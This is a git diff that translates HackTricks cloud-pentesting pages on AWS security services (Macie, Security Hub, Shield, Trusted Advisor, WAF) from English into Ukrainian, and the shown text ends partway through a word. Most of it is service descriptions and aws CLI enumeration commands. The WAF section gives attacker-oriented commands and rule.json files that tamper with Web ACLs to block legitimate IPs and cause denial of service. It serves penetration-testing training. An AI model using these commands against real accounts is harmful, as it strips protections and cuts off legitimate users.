запрошення інших облікових записів для спільного використання Amazon Macie, що полегшує спільне управління даними та моніторинг безпеки. ### Enumeration - ``` # Get buckets aws macie2 describe-buckets @@ -102,21 +101,16 @@ aws macie2 list-classification-jobs aws macie2 list-classification-scopes aws macie2 list-custom-data-identifiers ``` - -#### Post Exploitation +#### Постексплуатація > [!TIP] -> From an attackers perspective, this service isn't made to detect the attacker, but to detect sensitive information in the stored files. Therefore, this service might **help an attacker to find sensitive info** inside the buckets.\ -> However, maybe an attacker could also be interested in disrupting it in order to prevent the victim from getting alerts and steal that info easier. +> З точки зору атакуючого, ця служба не призначена для виявлення атакуючого, а для виявлення чутливої інформації у збережених файлах. Тому ця служба може **допомогти атакуючому знайти чутливу інформацію** всередині бакетів.\ +> Однак, можливо, атакуючий також може бути зацікавлений у її порушенні, щоб запобігти отриманню сповіщень жертвою та легше вкрасти цю інформацію. TODO: PRs are welcome! -## References +## Посилання - [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 36dc8fbe9..318773688 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,24 +4,23 @@ ## Security Hub -**Security Hub** collects security **data** from **across AWS accounts**, services, and supported third-party partner products and helps you **analyze your security** trends and identify the highest priority security issues. +**Security Hub** збирає **дані** безпеки з **різних облікових записів AWS**, сервісів та підтримуваних продуктів третіх сторін і допомагає вам **аналізувати вашу безпеку** та визначати найбільш пріоритетні проблеми безпеки. -It **centralizes security related alerts across accounts**, and provides a UI for viewing these. The biggest limitation is it **does not centralize alerts across regions**, only across accounts +Він **централізує пов'язані з безпекою сповіщення між обліковими записами** та надає інтерфейс для їх перегляду. Найбільшим обмеженням є те, що він **не централізує сповіщення між регіонами**, лише між обліковими записами. -**Characteristics** +**Характеристики** -- Regional (findings don't cross regions) -- Multi-account support -- Findings from: - - Guard Duty - - Config - - Inspector - - Macie - - third party - - self-generated against CIS standards +- Регіональний (знахідки не перетинають регіони) +- Підтримка кількох облікових записів +- Знахідки з: +- Guard Duty +- Config +- Inspector +- Macie +- третіх сторін +- самостійно згенеровані відповідно до стандартів CIS ## Enumeration - ``` # Get basic info aws securityhub describe-hub @@ -50,18 +49,13 @@ aws securityhub list-automation-rules aws securityhub list-members aws securityhub get-members --account-ids ``` - -## Bypass Detection +## Обхід виявлення TODO, PRs accepted -## References +## Посилання - [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info) - [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index b1df3003b..0615b74f7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -4,16 +4,12 @@ ## Shield -AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS. +AWS Shield був розроблений для того, щоб допомогти **захистити вашу інфраструктуру від атак розподіленого заперечення обслуговування**, відомих як DDoS. -**AWS Shield Standard** is **free** to everyone, and it offers **DDoS protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53. +**AWS Shield Standard** є **безкоштовним** для всіх, і він пропонує **захист від DDoS** проти деяких з більш поширених атак третього рівня, **мережевого рівня**, та четвертого рівня, **транспортного рівня**. Цей захист інтегрований як з CloudFront, так і з Route 53. -**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**. +**AWS Shield Advanced** пропонує **вищий рівень захисту** від атак DDoS на більш широкому спектрі сервісів AWS за додаткову плату. Цей розширений рівень пропонує захист для ваших веб-додатків, що працюють на EC2, CloudFront, ELB, а також Route 53. На додаток до цих додаткових типів ресурсів, що захищаються, пропонуються підвищені рівні захисту від DDoS у порівнянні зі Standard. І ви також матимете **доступ до спеціалізованої команди реагування на DDoS в AWS, відомої як DRT**, яка працює цілодобово. -Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.** +Тоді як стандартна версія Shield пропонувала захист від третього та четвертого рівнів, **Advanced також пропонує захист від сьомого рівня, атак на додатки.** {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index a975d7476..9a9848bb0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -6,70 +6,66 @@ ## AWS Trusted Advisor Overview -Trusted Advisor is a service that **provides recommendations** to optimize your AWS account, aligning with **AWS best practices**. It's a service that operates across multiple regions. Trusted Advisor offers insights in four primary categories: +Trusted Advisor - це сервіс, який **надає рекомендації** для оптимізації вашого облікового запису AWS, відповідно до **найкращих практик AWS**. Це сервіс, який працює в кількох регіонах. Trusted Advisor пропонує інсайти в чотирьох основних категоріях: -1. **Cost Optimization:** Suggests how to restructure resources to reduce expenses. -2. **Performance:** Identifies potential performance bottlenecks. -3. **Security:** Scans for vulnerabilities or weak security configurations. -4. **Fault Tolerance:** Recommends practices to enhance service resilience and fault tolerance. +1. **Оптимізація витрат:** Пропонує, як реорганізувати ресурси для зменшення витрат. +2. **Продуктивність:** Визначає потенційні вузькі місця в продуктивності. +3. **Безпека:** Сканує на наявність вразливостей або слабких конфігурацій безпеки. +4. **Стійкість до збоїв:** Рекомендує практики для підвищення стійкості сервісу та стійкості до збоїв. -The comprehensive features of Trusted Advisor are exclusively accessible with **AWS business or enterprise support plans**. Without these plans, access is limited to **six core checks**, primarily focused on performance and security. +Комплексні функції Trusted Advisor доступні виключно з **планами підтримки бізнесу або підприємства AWS**. Без цих планів доступ обмежений до **шести основних перевірок**, переважно зосереджених на продуктивності та безпеці. ### Notifications and Data Refresh -- Trusted Advisor can issue alerts. -- Items can be excluded from its checks. -- Data is refreshed every 24 hours. However, a manual refresh is possible 5 minutes after the last refresh. +- Trusted Advisor може видавати сповіщення. +- Елементи можуть бути виключені з його перевірок. +- Дані оновлюються кожні 24 години. Однак, ручне оновлення можливе через 5 хвилин після останнього оновлення. ### **Checks Breakdown** #### CategoriesCore -1. Cost Optimization -2. Security -3. Fault Tolerance -4. Performance -5. Service Limits -6. S3 Bucket Permissions +1. Оптимізація витрат +2. Безпека +3. Стійкість до збоїв +4. Продуктивність +5. Обмеження сервісу +6. Дозволи S3 Bucket #### Core Checks -Limited to users without business or enterprise support plans: +Обмежено для користувачів без планів підтримки бізнесу або підприємства: -1. Security Groups - Specific Ports Unrestricted -2. IAM Use -3. MFA on Root Account -4. EBS Public Snapshots -5. RDS Public Snapshots -6. Service Limits +1. Групи безпеки - Специфічні порти без обмежень +2. Використання IAM +3. MFA на кореневому обліковому записі +4. Публічні знімки EBS +5. Публічні знімки RDS +6. Обмеження сервісу #### Security Checks -A list of checks primarily focusing on identifying and rectifying security threats: +Список перевірок, які переважно зосереджені на виявленні та виправленні загроз безпеці: -- Security group settings for high-risk ports -- Security group unrestricted access -- Open write/list access to S3 buckets -- MFA enabled on root account -- RDS security group permissiveness -- CloudTrail usage -- SPF records for Route 53 MX records -- HTTPS configuration on ELBs -- Security groups for ELBs -- Certificate checks for CloudFront -- IAM access key rotation (90 days) -- Exposure of access keys (e.g., on GitHub) -- Public visibility of EBS or RDS snapshots -- Weak or absent IAM password policies +- Налаштування групи безпеки для портів з високим ризиком +- Безкоштовний доступ до групи безпеки +- Відкритий доступ на запис/перегляд до S3 buckets +- MFA увімкнено на кореневому обліковому записі +- Дозволи групи безпеки RDS +- Використання CloudTrail +- SPF записи для MX записів Route 53 +- Налаштування HTTPS на ELB +- Групи безпеки для ELB +- Перевірки сертифікатів для CloudFront +- Ротація ключів доступу IAM (кожні 90 днів) +- Витік ключів доступу (наприклад, на GitHub) +- Публічна видимість знімків EBS або RDS +- Слабкі або відсутні політики паролів IAM -AWS Trusted Advisor acts as a crucial tool in ensuring the optimization, performance, security, and fault tolerance of AWS services based on established best practices. +AWS Trusted Advisor є важливим інструментом для забезпечення оптимізації, продуктивності, безпеки та стійкості до збоїв сервісів AWS на основі встановлених найкращих практик. ## **References** - [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 661b836d5..e1de7d607 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,103 +6,102 @@ ## AWS WAF -AWS WAF is a **web application firewall** designed to **safeguard web applications or APIs** against various web exploits which may impact their availability, security, or resource consumption. It empowers users to control incoming traffic by setting up **security rules** that mitigate typical attack vectors like SQL injection or cross-site scripting and also by defining custom filtering rules. +AWS WAF - це **фаєрвол веб-додатків**, призначений для **захисту веб-додатків або API** від різних веб-експлойтів, які можуть вплинути на їх доступність, безпеку або споживання ресурсів. Він надає користувачам можливість контролювати вхідний трафік, налаштовуючи **правила безпеки**, які зменшують типові вектори атак, такі як SQL-ін'єкції або міжсайтове скриптування, а також визначаючи власні правила фільтрації. -### Key concepts +### Ключові концепції -#### Web ACL (Access Control List) +#### Web ACL (Список контролю доступу) -A Web ACL is a collection of rules that you can apply to your web applications or APIs. When you associate a Web ACL with a resource, AWS WAF inspects incoming requests based on the rules defined in the Web ACL and takes the specified actions. +Web ACL - це колекція правил, які ви можете застосувати до своїх веб-додатків або API. Коли ви асоціюєте Web ACL з ресурсом, AWS WAF перевіряє вхідні запити на основі правил, визначених у Web ACL, і виконує вказані дії. -#### Rule Group +#### Група правил -A Rule Group is a reusable collection of rules that you can apply to multiple Web ACLs. Rule groups help manage and maintain consistent rule sets across different web applications or APIs. +Група правил - це повторно використовувана колекція правил, які ви можете застосувати до кількох Web ACL. Групи правил допомагають управляти та підтримувати послідовні набори правил для різних веб-додатків або API. -Each rule group has its associated **capacity**, which helps to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. Once its value is set during creation, it is not possible to modify it. +Кожна група правил має свою асоційовану **ємність**, яка допомагає розрахувати та контролювати операційні ресурси, що використовуються для виконання ваших правил, груп правил і веб ACL. Після встановлення значення під час створення його не можна змінити. -#### Rule +#### Правило -A rule defines a set of conditions that AWS WAF uses to inspect incoming web requests. There are two main types of rules: +Правило визначає набір умов, які AWS WAF використовує для перевірки вхідних веб-запитів. Існує два основних типи правил: -1. **Regular Rule**: This rule type uses specified conditions to determine whether to allow, block, or count web requests. -2. **Rate-Based Rule**: Counts requests from a specific IP address over a five-minute period. Here, users define a threshold, and if the number of requests from an IP exceeds this limit within five minutes, subsequent requests from that IP are blocked until the request rate drops below the threshold. The minimum threshold for rate-based rules is **2000 requests**. +1. **Звичайне правило**: Цей тип правила використовує вказані умови, щоб визначити, чи дозволити, заблокувати або підрахувати веб-запити. +2. **Правило на основі швидкості**: Підраховує запити з певної IP-адреси протягом п'яти хвилин. Тут користувачі визначають поріг, і якщо кількість запитів з IP перевищує цей ліміт протягом п'яти хвилин, наступні запити з цієї IP блокуються, поки швидкість запитів не знизиться нижче порогу. Мінімальний поріг для правил на основі швидкості - **2000 запитів**. -#### Managed Rules +#### Керовані правила -AWS WAF offers pre-configured, managed rule sets that are maintained by AWS and AWS Marketplace sellers. These rule sets provide protection against common threats and are regularly updated to address new vulnerabilities. +AWS WAF пропонує попередньо налаштовані, керовані набори правил, які підтримуються AWS та продавцями AWS Marketplace. Ці набори правил забезпечують захист від загальних загроз і регулярно оновлюються для вирішення нових вразливостей. -#### IP Set +#### Набір IP -An IP Set is a list of IP addresses or IP address ranges that you want to allow or block. IP sets simplify the process of managing IP-based rules. +Набір IP - це список IP-адрес або діапазонів IP-адрес, які ви хочете дозволити або заблокувати. Набори IP спрощують процес управління правилами на основі IP. -#### Regex Pattern Set +#### Набір шаблонів Regex -A Regex Pattern Set contains one or more regular expressions (regex) that define patterns to search for in web requests. This is useful for more complex matching scenarios, such as filtering specific sequences of characters. +Набір шаблонів Regex містить один або кілька регулярних виразів (regex), які визначають шаблони для пошуку у веб-запитах. Це корисно для більш складних сценаріїв відповідності, таких як фільтрація конкретних послідовностей символів. -#### Lock Token +#### Токен блокування -A Lock Token is used for concurrency control when making updates to WAF resources. It ensures that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. +Токен блокування використовується для контролю паралелізму під час внесення змін до ресурсів WAF. Він забезпечує, щоб зміни не були випадково перезаписані кількома користувачами або процесами, які намагаються оновити один і той же ресурс одночасно. -#### API Keys +#### API ключі -API Keys in AWS WAF are used to authenticate requests to certain API operations. These keys are encrypted and managed securely to control access and ensure that only authorized users can make changes to WAF configurations. +API ключі в AWS WAF використовуються для аутентифікації запитів до певних операцій API. Ці ключі шифруються та управляються безпечно, щоб контролювати доступ і забезпечити, щоб лише авторизовані користувачі могли вносити зміни до конфігурацій WAF. -- **Example**: Integration of the CAPTCHA API. +- **Приклад**: Інтеграція API CAPTCHA. -#### Permission Policy +#### Політика дозволів -A Permission Policy is an IAM policy that specifies who can perform actions on AWS WAF resources. By defining permissions, you can control access to WAF resources and ensure that only authorized users can create, update, or delete configurations. +Політика дозволів - це політика IAM, яка визначає, хто може виконувати дії з ресурсами AWS WAF. Визначаючи дозволи, ви можете контролювати доступ до ресурсів WAF і забезпечити, щоб лише авторизовані користувачі могли створювати, оновлювати або видаляти конфігурації. -#### Scope +#### Область -The scope parameter in AWS WAF specifies whether the WAF rules and configurations apply to a regional application or an Amazon CloudFront distribution. +Параметр області в AWS WAF визначає, чи застосовуються правила та конфігурації WAF до регіонального додатку або розподілу Amazon CloudFront. -- **REGIONAL**: Applies to regional services such as Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service and AWS Verified Access instance. You specify the AWS region where these resources are located. -- **CLOUDFRONT**: Applies to Amazon CloudFront distributions, which are global. WAF configurations for CloudFront are managed through the `us-east-1` region regardless of where the content is served. +- **РЕГІОНАЛЬНИЙ**: Застосовується до регіональних сервісів, таких як Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, пул користувачів Amazon Cognito, служба AWS App Runner та екземпляр AWS Verified Access. Ви вказуєте регіон AWS, де розташовані ці ресурси. +- **CLOUDFRONT**: Застосовується до розподілів Amazon CloudFront, які є глобальними. Конфігурації WAF для CloudFront управляються через регіон `us-east-1`, незалежно від того, де подається контент. -### Key features +### Ключові функції -#### Monitoring Criteria (Conditions) +#### Критерії моніторингу (Умови) -**Conditions** specify the elements of incoming HTTP/HTTPS requests that AWS WAF monitors, which include XSS, geographical location (GEO), IP addresses, Size constraints, SQL Injection, and patterns (strings and regex matching). It's important to note that **requests restricted at the CloudFront level based on country won't reach WAF**. +**Умови** визначають елементи вхідних HTTP/HTTPS запитів, які моніторить AWS WAF, до яких відносяться XSS, географічне положення (GEO), IP-адреси, обмеження розміру, SQL-ін'єкції та шаблони (рядки та відповідність regex). Важливо зазначити, що **запити, обмежені на рівні CloudFront на основі країни, не досягнуть WAF**. -Each AWS account can configure: +Кожен обліковий запис AWS може налаштувати: -- **100 conditions** for each type (except for Regex, where only **10 conditions** are allowed, but this limit can be increased). -- **100 rules** and **50 Web ACLs**. -- A maximum of **5 rate-based rules**. -- A throughput of **10,000 requests per second** when WAF is implemented with an application load balancer. +- **100 умов** для кожного типу (за винятком Regex, де дозволено лише **10 умов**, але цей ліміт можна збільшити). +- **100 правил** та **50 Web ACL**. +- Максимум **5 правил на основі швидкості**. +- Пропускну здатність **10,000 запитів на секунду**, коли WAF реалізовано з балансувальником навантаження додатків. -#### Rule actions +#### Дії правил -Actions are assigned to each rule, with options being: +Дії призначаються кожному правилу, з такими варіантами: -- **Allow**: The request is forwarded to the appropriate CloudFront distribution or Application Load Balancer. -- **Block**: The request is terminated immediately. -- **Count**: Tallies the requests meeting the rule's conditions. This is useful for rule testing, confirming the rule's accuracy before setting it to Allow or Block. -- **CAPTCHA and Challenge:** It is verified that the request does not come from a bot using CAPTCHA puzzles and silent challenges. +- **Дозволити**: Запит пересилається до відповідного розподілу CloudFront або балансувальника навантаження додатків. +- **Заблокувати**: Запит терміново припиняється. +- **Підрахувати**: Підраховує запити, які відповідають умовам правила. Це корисно для тестування правил, підтверджуючи точність правила перед його встановленням на Дозволити або Заблокувати. +- **CAPTCHA та Виклик:** Перевіряється, що запит не надходить від бота за допомогою головоломок CAPTCHA та тихих викликів. -If a request doesn't match any rule within the Web ACL, it undergoes the **default action** (Allow or Block). The order of rule execution, defined within a Web ACL, is crucial and typically follows this sequence: +Якщо запит не відповідає жодному правилу в Web ACL, він підлягає **за замовчуванням дії** (Дозволити або Заблокувати). Порядок виконання правил, визначений у Web ACL, є критично важливим і зазвичай слідує цій послідовності: -1. Allow Whitelisted IPs. -2. Block Blacklisted IPs. -3. Block requests matching any detrimental signatures. +1. Дозволити IP-адреси зі списку дозволених. +2. Заблокувати IP-адреси зі списку заборонених. +3. Заблокувати запити, що відповідають будь-яким шкідливим підписам. -#### CloudWatch Integration +#### Інтеграція з CloudWatch -AWS WAF integrates with CloudWatch for monitoring, offering metrics like AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests. These metrics are reported every minute by default and retained for a period of two weeks. +AWS WAF інтегрується з CloudWatch для моніторингу, пропонуючи метрики, такі як AllowedRequests, BlockedRequests, CountedRequests та PassedRequests. Ці метрики звітуються щохвилини за замовчуванням і зберігаються протягом двох тижнів. -### Enumeration +### Перерахування -In order to interact with CloudFront distributions, you must specify the Region US East (N. Virginia): +Щоб взаємодіяти з розподілами CloudFront, ви повинні вказати регіон US East (N. Virginia): -- CLI - Specify the Region US East when you use the CloudFront scope: `--scope CLOUDFRONT --region=us-east-1` . -- API and SDKs - For all calls, use the Region endpoint us-east-1. +- CLI - Вкажіть регіон US East, коли ви використовуєте область CloudFront: `--scope CLOUDFRONT --region=us-east-1`. +- API та SDK - Для всіх викликів використовуйте регіональний кінцевий пункт us-east-1. -In order to interact with regional services, you should specify the region: - -- Example with the region Europe (Spain): `--scope REGIONAL --region=eu-south-2` +Щоб взаємодіяти з регіональними сервісами, ви повинні вказати регіон: +- Приклад з регіоном Європа (Іспанія): `--scope REGIONAL --region=eu-south-2` ```bash # Web ACLs # @@ -146,7 +145,7 @@ aws wafv2 list-ip-sets --scope | CLOUDFRONT --region= aws wafv2 get-ip-set --name --id --scope | CLOUDFRONT --region=us-east-1> ## Retrieve the keys that are currently being managed by a rate-based rule. aws wafv2 get-rate-based-statement-managed-keys --scope | CLOUDFRONT --region=us-east-1>\ - --web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] +--web-acl-name --web-acl-id --rule-name [--rule-group-rule-name ] # Regex pattern sets # @@ -186,78 +185,70 @@ aws wafv2 list-mobile-sdk-releases --platform aws wafv2 get-mobile-sdk-release --platform --release-version ``` - -### Post Exploitation / Bypass +### Постексплуатація / Обхід > [!TIP] -> From an attackers perspective, this service can help the attacker to identify WAF protections and network exposures that could help him to compromise other webs. +> З точки зору атакуючого, ця служба може допомогти атакуючому виявити захисти WAF та мережеві вразливості, які можуть допомогти йому скомпрометувати інші веб-сайти. > -> However, an attacker could also be interested in disrupting this service so the webs aren't protected by the WAF. +> Однак, атакуючий також може бути зацікавлений у порушенні цієї служби, щоб веб-сайти не були захищені WAF. -In many of the Delete and Update operations it would be necessary to provide the **lock token**. This token is used for concurrency control over the resources, ensuring that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. In order to obtain this token you could perform the correspondent **list** or **get** operations over the specific resource. +У багатьох операціях видалення та оновлення буде необхідно надати **lock token**. Цей токен використовується для контролю за конкурентністю ресурсів, забезпечуючи, щоб зміни не були випадково перезаписані кількома користувачами або процесами, які намагаються оновити один і той же ресурс одночасно. Щоб отримати цей токен, ви можете виконати відповідні **list** або **get** операції над конкретним ресурсом. #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** -An attacker would be able to compromise the security of the affected resource by: - -- Creating rule groups that could, for instance, block legitimate traffic from legitimate IP addresses, causing a denial of service. -- Updating rule groups, being able to modify its actions for example from **Block** to **Allow**. -- Deleting rule groups that provide critical security measures. +Атакуючий зможе скомпрометувати безпеку ураженого ресурсу, виконуючи: +- Створення груп правил, які можуть, наприклад, блокувати легітимний трафік з легітимних IP-адрес, викликаючи відмову в обслуговуванні. +- Оновлення груп правил, маючи можливість змінювати їх дії, наприклад, з **Block** на **Allow**. +- Видалення груп правил, які забезпечують критично важливі заходи безпеки. ```bash # Create Rule Group aws wafv2 create-rule-group --name --capacity --visibility-config \ --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Update Rule Group aws wafv2 update-rule-group --name --id --visibility-config --lock-token \ - --scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] +--scope | CLOUDFRONT --region=us-east-1> [--rules ] [--description ] # Delete Rule Group aws wafv2 delete-rule-group --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following examples shows a rule group that would block legitimate traffic from specific IP addresses: - +Наступні приклади показують групу правил, яка блокує легітимний трафік з конкретних IP-адрес: ```bash aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json ``` - -The **rule.json** file would look like: - +Файл **rule.json** виглядатиме так: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPsRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPsRule" +} +} ] ``` - -**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**Потенційний вплив**: Несанкціонований доступ, витоки даних та потенційні атаки DoS. #### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`** -With these permissions, an attacker would be able to: +З цими дозволами зловмисник зможе: -- Create a new Web ACL, introducing rules that either allow malicious traffic through or block legitimate traffic, effectively rendering the WAF useless or causing a denial of service. -- Update existing Web ACLs, being able to modify rules to permit attacks such as SQL injection or cross-site scripting, which were previously blocked, or disrupt normal traffic flow by blocking valid requests. -- Delete a Web ACL, leaving the affected resources entirely unprotected, exposing it to a broad range of web attacks. +- Створити новий Web ACL, вводячи правила, які або дозволяють шкідливий трафік, або блокують легітимний трафік, фактично роблячи WAF безкорисним або викликаючи відмову в обслуговуванні. +- Оновити існуючі Web ACL, маючи можливість змінювати правила для дозволу атак, таких як SQL-ін'єкції або міжсайтове скриптування, які раніше були заблоковані, або порушити нормальний потік трафіку, блокуючи дійсні запити. +- Видалити Web ACL, залишаючи постраждалі ресурси абсолютно незахищеними, піддаючи їх широкому спектру веб-атак. > [!NOTE] -> You can only delete the specified **WebACL** if **ManagedByFirewallManager** is false. - +> Ви можете видалити вказаний **WebACL** лише якщо **ManagedByFirewallManager** є false. ```bash # Create Web ACL aws wafv2 create-web-acl --name --default-action --visibility-config \ @@ -268,119 +259,109 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` +Наступні приклади показують, як оновити Web ACL, щоб заблокувати легітимний трафік з конкретного набору IP. Якщо початковий IP не відповідає жодному з цих IP, то за замовчуванням також буде заблоковано, що призведе до DoS. -The following examples shows how to update a Web ACL to block the legitimate traffic from a specific IP set. If the origin IP does not match any of those IPs, the default action would also be blocking it, causing a DoS. - -**Original Web ACL**: - +**Оригінальний Web ACL**: ```json { - "WebACL": { - "Name": "AllowLegitimateIPsWebACL", - "Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "DefaultAction": { - "Allow": {} - }, - "Description": "", - "Rules": [ - { - "Name": "AllowLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Allow": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsRule" - } - } - ], - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "AllowLegitimateIPsWebACL" - }, - "Capacity": 1, - "ManagedByFirewallManager": false, - "LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" - }, - "LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"WebACL": { +"Name": "AllowLegitimateIPsWebACL", +"Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"DefaultAction": { +"Allow": {} +}, +"Description": "", +"Rules": [ +{ +"Name": "AllowLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Allow": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsRule" +} +} +], +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "AllowLegitimateIPsWebACL" +}, +"Capacity": 1, +"ManagedByFirewallManager": false, +"LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:" +}, +"LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -Command to update the Web ACL: - +Команда для оновлення Web ACL: ```json aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1 ``` - -The **rule.json** file would look like: - +Файл **rule.json** виглядатиме так: ```json [ - { - "Name": "BlockLegitimateIPsRule", - "Priority": 0, - "Statement": { - "IPSetReferenceStatement": { - "ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" - } - }, - "Action": { - "Block": {} - }, - "VisibilityConfig": { - "SampledRequestsEnabled": false, - "CloudWatchMetricsEnabled": false, - "MetricName": "BlockLegitimateIPRule" - } - } +{ +"Name": "BlockLegitimateIPsRule", +"Priority": 0, +"Statement": { +"IPSetReferenceStatement": { +"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +}, +"Action": { +"Block": {} +}, +"VisibilityConfig": { +"SampledRequestsEnabled": false, +"CloudWatchMetricsEnabled": false, +"MetricName": "BlockLegitimateIPRule" +} +} ] ``` - -**Potential 